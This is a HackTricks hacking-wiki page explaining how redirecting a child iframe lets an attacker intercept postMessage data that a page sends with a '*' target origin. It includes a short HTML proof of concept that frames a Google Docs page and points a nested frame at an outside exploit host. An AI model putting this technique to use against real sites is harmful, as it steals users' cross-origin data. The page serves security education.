3.4 KiB
Steal postmessage modifying iframe location
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Changing child iframes locations
According to this writeup, if you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe.
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, frames.location.
This is specially useful in postMessages because if a page is sending sensitive data using a wildcard like windowRef.postmessage("","*") it's possible to change the location of the related iframe (child or parent) to an attackers controlled location and steal that data.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);
function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.